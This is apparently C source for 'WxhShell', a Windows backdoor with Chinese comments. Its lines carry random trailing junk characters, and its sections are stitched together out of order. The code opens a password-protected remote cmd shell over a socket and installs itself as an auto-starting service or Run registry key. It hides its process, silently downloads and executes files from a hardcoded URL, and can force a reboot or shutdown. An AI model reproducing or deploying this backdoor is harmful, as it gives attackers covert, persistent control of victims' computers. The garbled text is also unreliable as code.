    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9hp&HL)BOa  
    if(Boot(SHUTDOWN)) yTm \O UD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  U 'jt'(  
    else { .RQra+up  
    closesocket(wsh); RNIXQns-=S  
    ExitThread(0); jnH\}IB  
    } lFBdiIw  
    break; A q i:h]x  
    } m 0HK1'  
  // 获取shell .hTqZvDa  
  case 's': { =w2 4(S  
    CmdShell(wsh); PK*Wu<<  
    closesocket(wsh); A2 l?F  
    ExitThread(0); |Q?h"5i"(  
    break; 6Z\aJ  
  } 'o$j~Mr  
  // 退出 Z:4/lx7Bq  
  case 'x': { t;O)   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  tm1 =  
    CloseIt(wsh); pP<8zTLn  
    break; c{#2;k Q,  
    } /qpSmRL  
  // 离开 h$S#fY8   
  case 'q': { Y\xEPh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y$'j9bUJ  
    closesocket(wsh); CEy\1D  
    WSACleanup(); f@*69a8  
    exit(1); }\4yU=JP K  
    break; 24sMX7Q,i  
        } 5Rqdo\vE  
  } /Vlc8G  
  } "~KDm(D  
PN* .9;5Z  
  // 提示信息 )ycI.[C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gF6> /  
} 0b&# w  
  } 'u,|*o  
Mw[3711v  
  return; j,n:%5P\v  
} Xfiwblg  
]HKt7 %,  
// shell模块句柄 jP@ @<dt  
int CmdShell(SOCKET sock) {QG.> lB  
{ }1a}pm2p  
STARTUPINFO si; ["Zvwes#7  
ZeroMemory(&si,sizeof(si)); G|i0n   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~id6^#&>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4,RPidv%O  
PROCESS_INFORMATION ProcessInfo; E^8|xT'h6  
char cmdline[]="cmd"; xd Z$|{,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z)!8a$M~  
  return 0; i'Y8-})  
} =NB[jQ :(  
aNbS0R>l  
// 自身启动模式 /VR~E'Cy%  
int StartFromService(void) g_>&R58  
{ y^2#;0W  
typedef struct qHt/,w='Q  
{ VKa+[  
  DWORD ExitStatus; *d._H1zT  
  DWORD PebBaseAddress; '%$Vmf)=  
  DWORD AffinityMask; vPkLG*d 8  
  DWORD BasePriority; jIh1)*]054  
  ULONG UniqueProcessId; @]uqC~a^  
  ULONG InheritedFromUniqueProcessId; g*k)ws  
}   PROCESS_BASIC_INFORMATION; [ATJ! O  
/t5)&  
PROCNTQSIP NtQueryInformationProcess; J[/WBVFDf  
OB>Hiy   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S-t#d7'B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *-VRkS-G  
eORXyh\K  
  HANDLE             hProcess; {C |R@S  
  PROCESS_BASIC_INFORMATION pbi; v,4{:y]p  
+C~h(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >Kgw2,y+  
  if(NULL == hInst ) return 0; q,v<:sS9T  
QM,#:m1o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {}$9 70y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -CPtYG[s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <G})$f'x2  
wAh]C;+{  
  if (!NtQueryInformationProcess) return 0; zB.cOMx  
I}f`iBG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @SfQbM##%  
  if(!hProcess) return 0; I0XJ& P%  
;m7V]h? R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >$ q   
:a wt7lqv  
  CloseHandle(hProcess); 4v[y^P  
_i_='dsyW/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C qd\n#d/~  
if(hProcess==NULL) return 0; 2 6#p,P  
y3~=8!Tj?Q  
HMODULE hMod; b6k`R4S3  
char procName[255]; o78u>Oy  
unsigned long cbNeeded; sn"((BsO<  
^'3c%&Zf3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jY6GWsh:9  
%QP[/5vQ  
  CloseHandle(hProcess); *_D/_Rp7  
N{J 1C6  
if(strstr(procName,"services")) return 1; // 以服务启动 MA .;=T  
la[ pA  
  return 0; // 注册表启动 TY8gB!^  
}  _a09;C  
AVT % AS  
// 主模块 ^'QO!{7f  
int StartWxhshell(LPSTR lpCmdLine) U]hqRL  
{ [@@{z9c  
  SOCKET wsl; U4XW Kwq  
BOOL val=TRUE; ? AfThJc  
  int port=0; a4:GGzt  
  struct sockaddr_in door; 0ix(1`Z  
>u=  
  if(wscfg.ws_autoins) Install(); L0w6K0J4  
1UP {j`-K|  
port=atoi(lpCmdLine); 6_mi9_w  
K0w}l" )A  
if(port<=0) port=wscfg.ws_port; wFMH\a  
ERPg TZT  
  WSADATA data; #]h X ."b2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F ~A $7  
Jg#0g eU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i(~DhXz*T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #j2kT  
  door.sin_family = AF_INET; h)Y] L#R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~  QRjl  
  door.sin_port = htons(port); o z*;q]  
RV~t%Sw^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m6R/,  
closesocket(wsl); ^ITF*  
return 1;  h,/Aq  
} %ap(=^|5  
KV0*dB;  
  if(listen(wsl,2) == INVALID_SOCKET) { ebA95v`Vms  
closesocket(wsl); $+j1^  
return 1;  X}(s(6  
} Nu7>G  
  Wxhshell(wsl); &S4*x|-C&  
  WSACleanup(); Fk=SkS ky  
] SJ#:7  
return 0; 7z? ;z<VJ  
|d0ZB_ci  
} B*tYp  
E2DfG^sGV  
// 以NT服务方式启动 YR'F]FI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l'I:0a 4T  
{ )<5k+O~  
DWORD   status = 0; )j;^3LiV3  
  DWORD   specificError = 0xfffffff; L:HvrB~  
(z sG!v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J~%43!X\K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m%0 -3c(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; '0 Cp  
  serviceStatus.dwWin32ExitCode     = 0; GDSV:]hL  
  serviceStatus.dwServiceSpecificExitCode = 0; }=X: F1S  
  serviceStatus.dwCheckPoint       = 0; o`f^m   
  serviceStatus.dwWaitHint       = 0; ZLjAhd)  
3(e_2v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [9sEc  
  if (hServiceStatusHandle==0) return; 5L3+KkX@  
t:2DB)  
status = GetLastError(); $udhTI#,  
  if (status!=NO_ERROR) 44KoOY_  
{ N3"JouP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <0d2{RQ;  
    serviceStatus.dwCheckPoint       = 0; iC3z5_g*@  
    serviceStatus.dwWaitHint       = 0; _(-jk4 L  
    serviceStatus.dwWin32ExitCode     = status; Qvp"gut)%X  
    serviceStatus.dwServiceSpecificExitCode = specificError; s4bV0k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ` <1Wf  
    return; i"&FW&W  
  } .D@J\<,+l  
q-!H7o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >'4A[$$4mM  
  serviceStatus.dwCheckPoint       = 0; Ki><~!L  
  serviceStatus.dwWaitHint       = 0; r w!jmvHE&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZWkRoJXNi  
} 3(c-o0M  
`,]Bs*~  
// 处理NT服务事件,比如:启动、停止 CH6 m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1<ag=D`F_"  
{ ^+x?@$rq  
switch(fdwControl) ^fsMfB  
{ * zp tbZ  
case SERVICE_CONTROL_STOP: G _cJI  
  serviceStatus.dwWin32ExitCode = 0; F*P0=DD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^;EhKG  
  serviceStatus.dwCheckPoint   = 0; $Ivjcs:  
  serviceStatus.dwWaitHint     = 0; DFMpU.BN W  
  { gsL=_# ?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e!5} #6Kd  
  } w(@r-2D"  
  return; $z=%e#(!I  
case SERVICE_CONTROL_PAUSE: 7}&:07U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _:Qh1 &h  
  break; krfXvQJwJ  
case SERVICE_CONTROL_CONTINUE: .D W>c}1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xFF!)k #  
  break; v@zi?D K  
case SERVICE_CONTROL_INTERROGATE: BpIyw  
  break; 4]r_K2.cc  
}; H9)@q3<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D|q~n)TW5  
} _)45G"M  
O|H:  
// 标准应用程序主函数 &vrQ *jX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r,;ca6>5H  
{ DMUirA;  
+Kk1[fh-  
// 获取操作系统版本 8n3]AOc'~-  
OsIsNt=GetOsVer(); ;MN$.x+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T >8P1p@A,  
iTHwH{!  
  // 从命令行安装 x)C}  
  if(strpbrk(lpCmdLine,"iI")) Install(); ! VR&HEru  
D1rVgM  
  // 下载执行文件 u=0O3-\h  
if(wscfg.ws_downexe) { &D3]O9a0;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &3SS.&g4W  
  WinExec(wscfg.ws_filenam,SW_HIDE); IHTim T?  
} p{Q6g>?[  
vX:}tir[  
if(!OsIsNt) { 9[qOfIny  
// 如果时win9x,隐藏进程并且设置为注册表启动 d<-f:}^k0  
HideProc(); D;YfQQr  
StartWxhshell(lpCmdLine); ?I?G+(bq  
} pX%:XpC!h  
else n%3!)/$  
  if(StartFromService()) $0[T<]{/?  
  // 以服务方式启动 7i($/mNl  
  StartServiceCtrlDispatcher(DispatchTable); _*~F1% d  
else G!j9D  
  // 普通方式启动 r~,y3L6ic  
  StartWxhshell(lpCmdLine); :UdW4N-  
_=$~l^Y[  
return 0; ,1ev2T  
} .RpJZ[E  
Xmr}$<<=  
MT/jpx  
jC&fnt,O  
=========================================== Ql{#dcRx  
r<0E[ ~  
*duG/?>P  
dBI-y6R  
Y|R=^ =d\  
LtRRX@qJw  
" m%L!eR  
/MtmO$ .  
#include <stdio.h> [~N;d9H+*1  
#include <string.h> <);q,|eh2  
#include <windows.h> q=t!COS  
#include <winsock2.h> -jJhiaJ$<  
#include <winsvc.h> CA#g(SiZ  
#include <urlmon.h> ^{"i eVn  
eJoM4v  
#pragma comment (lib, "Ws2_32.lib") Ovt]3`U9J  
#pragma comment (lib, "urlmon.lib") ^/#+0/Bn  
fAJyD`]Z  
#define MAX_USER   100 // 最大客户端连接数 Kxr{Nx  
#define BUF_SOCK   200 // sock buffer w Q[|D2;  
#define KEY_BUFF   255 // 输入 buffer "5N4 of 8  
~IZ-:?+S^  
#define REBOOT     0   // 重启 I<2`wL=  
#define SHUTDOWN   1   // 关机 ?J2{6,}O*.  
Xy(QK2|  
#define DEF_PORT   5000 // 监听端口 c=u+X` Q  
 J#` 7!  
#define REG_LEN     16   // 注册表键长度 6SCjlaGW5  
#define SVC_LEN     80   // NT服务名长度 |*?N#0s5h  
W5u5!L/  
// 从dll定义API nWsRa uY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &6\&McmkX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yu6~:$%H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9(]_so24,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cB,^?djJ3  
*fm?"0M5  
// wxhshell配置信息 Fbo"Csn_  
struct WSCFG { *z[vp2 TN  
  int ws_port;         // 监听端口 9i\}^ s2  
  char ws_passstr[REG_LEN]; // 口令 Tu(:?  
  int ws_autoins;       // 安装标记, 1=yes 0=no z<eu=OD4t  
  char ws_regname[REG_LEN]; // 注册表键名 K#A&  
  char ws_svcname[REG_LEN]; // 服务名 <4TI;yy6?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y @ v][Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0'd@8]|H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q.J6'v lj/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SAnr|<Y/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3X(^`lAf)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZSNbf|ldiE  
Vu(NP\Wm  
}; 6 :4GI  
| +;ZC y  
// default Wxhshell configuration DG;u_6;JR  
struct WSCFG wscfg={DEF_PORT, :kHk'.V1(  
    "xuhuanlingzhe", lH3.q4D 5  
    1, #)S}z+I  
    "Wxhshell", b]]k\b  
    "Wxhshell", .!~ysy  
            "WxhShell Service", a >fA-@  
    "Wrsky Windows CmdShell Service", #m|el@)  
    "Please Input Your Password: ", 9,fV  
  1, Mzg'$]N  
  "http://www.wrsky.com/wxhshell.exe", MNs<yQ9I'  
  "Wxhshell.exe" ai;!Q%B#Q  
    }; l]|&j`'O  
6teu_FS  
// 消息定义模块 Q3>qT84  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r^"o!,H9q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :fmV||Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MLr L"I"  
char *msg_ws_ext="\n\rExit."; .g/!u(iy  
char *msg_ws_end="\n\rQuit."; VQ!4( <XD  
char *msg_ws_boot="\n\rReboot..."; 9]3l'  
char *msg_ws_poff="\n\rShutdown..."; o2(w  
char *msg_ws_down="\n\rSave to "; AkW,Fp1e  
-v9(43  
char *msg_ws_err="\n\rErr!"; IG0_  
char *msg_ws_ok="\n\rOK!"; !$HuH6_[  
05ZYOs}  
char ExeFile[MAX_PATH]; pW ~;B*hF  
int nUser = 0; 87[o^)8  
HANDLE handles[MAX_USER]; w'}s'gGE  
int OsIsNt; TJNE2  
"|i1A R:I  
SERVICE_STATUS       serviceStatus; {Q/@Y.~<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 08:K9zr  
yHM2 9fEZk  
// 函数声明 x/1FQ>n:9  
int Install(void); cMi9 Z]  
int Uninstall(void); `T[yyOL/  
int DownloadFile(char *sURL, SOCKET wsh); [vtDtwL  
int Boot(int flag); 5M\0t\uEn  
void HideProc(void); Mxz X@GBX  
int GetOsVer(void); ,~;`@  
int Wxhshell(SOCKET wsl); 5%S5*c6BD  
void TalkWithClient(void *cs); rKPsv*w  
int CmdShell(SOCKET sock); }c/#WA|b  
int StartFromService(void); QPVr:+\B{  
int StartWxhshell(LPSTR lpCmdLine); 8;=?F>]xn  
~b8.]Z^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bY`Chb.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |\B\IPs{%'  
L\Oxyi<{  
// 数据结构和表定义 ' Sd&I:?  
SERVICE_TABLE_ENTRY DispatchTable[] = h%:wIkZ/  
{ a:|]F|  
{wscfg.ws_svcname, NTServiceMain}, !5+9~/;  
{NULL, NULL} ?_pd#W=!  
}; ,hK =x  
mp3Dc  
// 自我安装 tc;$7F ;  
int Install(void) j,,#B4b  
{ WV}pE~  
  char svExeFile[MAX_PATH]; p"\-iY]  
  HKEY key; k'$7RjCu  
  strcpy(svExeFile,ExeFile); lItr*,A]  
=uwG.,lC  
// 如果是win9x系统,修改注册表设为自启动 O'S xTwO  
if(!OsIsNt) { >y+j!)\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \mN?5QCcE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yPbOiA*lHz  
  RegCloseKey(key); HH!SqkwT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IKp(KlA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6w<p1qhW  
  RegCloseKey(key); UL7%6v{'*  
  return 0; 5}N O~Xd<  
    } Cyv_(Oh?dv  
  } 'iYaA-9j  
} uJ*|SSN~  
else { ku^2K   
C~iFFh6:  
// 如果是NT以上系统,安装为系统服务 b(ryk./ogx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Vfw +m1sS  
if (schSCManager!=0) _}Gs9sHr0K  
{ RkdAzv!Y7  
  SC_HANDLE schService = CreateService # 9f 4{=\  
  ( 7Ph+Vs+h  
  schSCManager, `Geq,  
  wscfg.ws_svcname, d\z':d .Tt  
  wscfg.ws_svcdisp, 43J8PMY  
  SERVICE_ALL_ACCESS, }=3W(1cu-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p|Fhh\,*`X  
  SERVICE_AUTO_START, ]*S_fme  
  SERVICE_ERROR_NORMAL, uuh vd h=  
  svExeFile, 8DrKq]&  
  NULL, (aCl*vV1  
  NULL, Hi{!<e2  
  NULL, hG'2(Y!  
  NULL, Z.LF5ur  
  NULL S67T:ARS  
  ); FHH2  
  if (schService!=0) zGFW?|o<  
  { [TV"mA  
  CloseServiceHandle(schService); }\ui} \  
  CloseServiceHandle(schSCManager); 5Q72.4HH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =TI|uD6T  
  strcat(svExeFile,wscfg.ws_svcname); eWx6$_|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d>4e9M "  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B<'V7#L_  
  RegCloseKey(key); H+2J.&Ch  
  return 0; HNoh B4vt  
    } $j}sxxTT  
  } e$(i!G)  
  CloseServiceHandle(schSCManager); 7 -V_)FK2c  
} f4T-=` SO  
} G@Zi3 5  
S+OI?QS  
return 1; ")M.p_b[Z=  
} u= +  
!c`Q?aGV)  
// 自我卸载 0\}j[-`pF  
int Uninstall(void) PuABS>.;  
{ ~KfjT p#  
  HKEY key; `TsfscN  
l1_X5DI  
if(!OsIsNt) { m~NWY$oI9[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Xhkw<XbV  
  RegDeleteValue(key,wscfg.ws_regname); &akMj@4;R  
  RegCloseKey(key); 9'8oOBqm3%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f&cG;Y  
  RegDeleteValue(key,wscfg.ws_regname); 3yD5u  
  RegCloseKey(key); |-aj$u%~  
  return 0; 1aMBCh<}JN  
  } 3x9C]  
} TuCOoz@d  
} R;V(D3  
else { 5BCaE)J  
+ow ^xiD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~ pdf'  
if (schSCManager!=0) mg,f>(  
{ @x J^JcE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !V-SV`+X  
  if (schService!=0) y<.!TULa_  
  { 7<:w-  
  if(DeleteService(schService)!=0) { >a-+7{};  
  CloseServiceHandle(schService); tw3d>H`  
  CloseServiceHandle(schSCManager); kWz%v  
  return 0; 1k%ko?  
  } Yh%wf3 UEO  
  CloseServiceHandle(schService); Tk2kis(n  
  } m[7:p{  
  CloseServiceHandle(schSCManager); Zz&i0 r  
} &s;%(c04A  
} pn7 :")Zx  
A>g$[  
return 1; | uZ=S]V@  
} gX _BJ6  
J+|ohA  
// 从指定url下载文件 q@-qA]  
int DownloadFile(char *sURL, SOCKET wsh) 7VXeu+-P  
{ imhq*f#A[  
  HRESULT hr; l?1!h2z%  
char seps[]= "/"; p+7BsW.l  
char *token; !^fJAtCN]  
char *file; ;VFr5.*x  
char myURL[MAX_PATH]; ,] {NZ9  
char myFILE[MAX_PATH]; EXFxiw  
rYS D-Kq  
strcpy(myURL,sURL); *f#4S_ws`  
  token=strtok(myURL,seps); q |^O  
  while(token!=NULL) 0amz#VIB<u  
  { @YB\ PVhW  
    file=token; +e:ZN tr9  
  token=strtok(NULL,seps); O({_x@  
  } jgo@~,5R  
#rr-4$w+  
GetCurrentDirectory(MAX_PATH,myFILE); `pMI[pLZe  
strcat(myFILE, "\\"); @ty|HXW  
strcat(myFILE, file); Z =c@Gd  
  send(wsh,myFILE,strlen(myFILE),0); >C}RZdO~  
send(wsh,"...",3,0); r=Q5=(hn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nm-Y?!J  
  if(hr==S_OK) |YFD|  
return 0; ` j<tI6[e  
else ?^vZ{B)&0E  
return 1; J| '(;Ay4u  
yrs3`/  
} U[D<%7f  
g[jZ A[[  
// 系统电源模块 ggTjd"|)  
int Boot(int flag) ncdr/(`  
{ .am*d|&+G  
  HANDLE hToken; {|E7N"Qzg  
  TOKEN_PRIVILEGES tkp; ,h._iO)I^  
p,8Z{mLn  
  if(OsIsNt) { bN&da [K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r?I(me,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nu<!/O  
    tkp.PrivilegeCount = 1; &Kp+8D*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U}0/V c26  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a&hM:n4P  
if(flag==REBOOT) { z.^ )r  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @#tSx  
  return 0; T_Y}1n|7[  
} {@$3bQ  
else { 6<Wr 8u,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) //@=Q!MW  
  return 0; m6cW  
} [AzN&yACE  
  } fNJ;{&#  
  else { ;LE @Ezx  
if(flag==REBOOT) { fdG.=7`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6I#DlAU@v  
  return 0; $IT9@}*{  
} ?63JQ.;  
else { uP]o39b;V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \pGO}{3 e*  
  return 0; uCfp+  
} ;/T-rVND  
} ,-Nk-g  
<R>ZG"m{  
return 1; BD-=y  
} K:@=W1  
I}IW!K  
// win9x进程隐藏模块 2QRn c"  
void HideProc(void) |=T<WU1$  
{ q*nz4QTOE  
W@dY:N}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UJ$:5*S=u  
  if ( hKernel != NULL ) T6roz  
  { p&mtKLv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G9inNz*Cx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); np^<HfYV  
    FreeLibrary(hKernel); p'k+0=  
  }  7~nCK  
F:S>\wG,  
return; MjC%6%HI  
} MwqT`;lb  
a[g|APZz  
// 获取操作系统版本 /$,=>  
int GetOsVer(void) Z<<gz[$+p  
{ f {Z%:H  
  OSVERSIONINFO winfo;  ja- ~`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b_Jq=Gk`  
  GetVersionEx(&winfo); +|YZEC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HbfB[%  
  return 1; a BH1J]_  
  else S{T d/1}  
  return 0; g+)\ /n|  
} yKEFne8^  
,D2_Z]  
// 客户端句柄模块 hyfnIb@~}  
int Wxhshell(SOCKET wsl) PZRn6Tc  
{ .{ a2z*o  
  SOCKET wsh; bK8F |  
  struct sockaddr_in client; {b0&qV   
  DWORD myID; 'A!/pUML  
F(~_L.  
  while(nUser<MAX_USER) $uK"@Mw  
{ */y]!<\v!k  
  int nSize=sizeof(client); fbTw6Fde$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dHF$T33It  
  if(wsh==INVALID_SOCKET) return 1; 3,L3C9V'  
qK vr*xlC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _JTxm>  
if(handles[nUser]==0) uo'31V0  
  closesocket(wsh); S5u#g`I]  
else poYAiq_3T  
  nUser++; `{lAhZ5  
  } Guw|00w,Q$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,]_(-tyN|  
k5;Vl0Ho  
  return 0; KI@    
} xf"5<PTW</  
E+ 3yN\X(  
// 关闭 socket Df:7P>  
void CloseIt(SOCKET wsh) ]_: TrH  
{ kefv=n*]l  
closesocket(wsh); I#E(r>KW*  
nUser--; Vy^yV|`v  
ExitThread(0); 2, "q_d'V  
} ,,gLrV k  
vF6*c  
// 客户端请求句柄 J2< QAX  
void TalkWithClient(void *cs) [ 7Lxt  
{ !_-sTZ  
795Jwv  
  SOCKET wsh=(SOCKET)cs; .A7tq  
  char pwd[SVC_LEN]; R 4$Q3vcH  
  char cmd[KEY_BUFF]; + i@yZfT  
char chr[1]; 5Sjr6l3Vq8  
int i,j; sC5uA .?>9  
4!~ .6cp3  
  while (nUser < MAX_USER) { Qj<{oZp&  
QK!:q{  
if(wscfg.ws_passstr) { lAn+gDP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q|= Q]$d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G9n /S=R?  
  //ZeroMemory(pwd,KEY_BUFF); w-H%B`/  
      i=0; LX\*4[0%K  
  while(i<SVC_LEN) { xJ2O4ob  
,)rZAI  
  // 设置超时 '*N9"C  
  fd_set FdRead; l P$r   
  struct timeval TimeOut; 8\)U|/A7  
  FD_ZERO(&FdRead); iQ|,&K0d]  
  FD_SET(wsh,&FdRead); Zp(=[n5  
  TimeOut.tv_sec=8; yI.}3y{^5  
  TimeOut.tv_usec=0; nJ*mEB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '`]n_$f'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); De nt?  
Awa|rIM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |v$%V#Bo  
  pwd=chr[0]; \YlF>{LVe  
  if(chr[0]==0xd || chr[0]==0xa) { UhSh(E8p>  
  pwd=0; 71l"m^Z3zy  
  break; MzR1<W{ O  
  } wHOlj)CZ  
  i++; o\]: !#r{T  
    } cF_;hD|YZ  
FS`vK`'  
  // 如果是非法用户,关闭 socket \7t5U7v8U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `?]rr0.}hp  
} yD[zzEuQ  
fEj9R@u+h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g>!:U6K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [EmOA.6  
S?Bc~y  
while(1) { L`jB)wF /J  
(~ ]g,*+  
  ZeroMemory(cmd,KEY_BUFF); 5"kx}f2$  
S~k 0@  
      // 自动支持客户端 telnet标准   %9QMzz5  
  j=0; # 5y9L  
  while(j<KEY_BUFF) { {}g %"mi#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &N"'7bK6n  
  cmd[j]=chr[0]; jB%"AvIX  
  if(chr[0]==0xa || chr[0]==0xd) { $AA~]'O>6:  
  cmd[j]=0; my\o P(e\  
  break; ` y^zM/Ib  
  } _oJ2]f6KX  
  j++; Dh&:-  
    } ,G[r+4|h  
}{&l n  
  // 下载文件 >P\h,1  
  if(strstr(cmd,"http://")) { A,m4WO_q3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); DHm[8 Qp  
  if(DownloadFile(cmd,wsh)) ~JwpNJs  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~*7O(8  
  else Jt2,LL:G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /lLov.  
